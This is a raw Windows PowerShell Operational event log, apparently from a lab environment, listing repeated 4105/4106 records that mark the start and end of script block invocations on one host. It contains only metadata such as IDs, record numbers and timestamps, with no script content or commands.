ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041255
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041254
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041253
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041252
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041236
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041235
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041230
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041229
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041219
Keywords=None
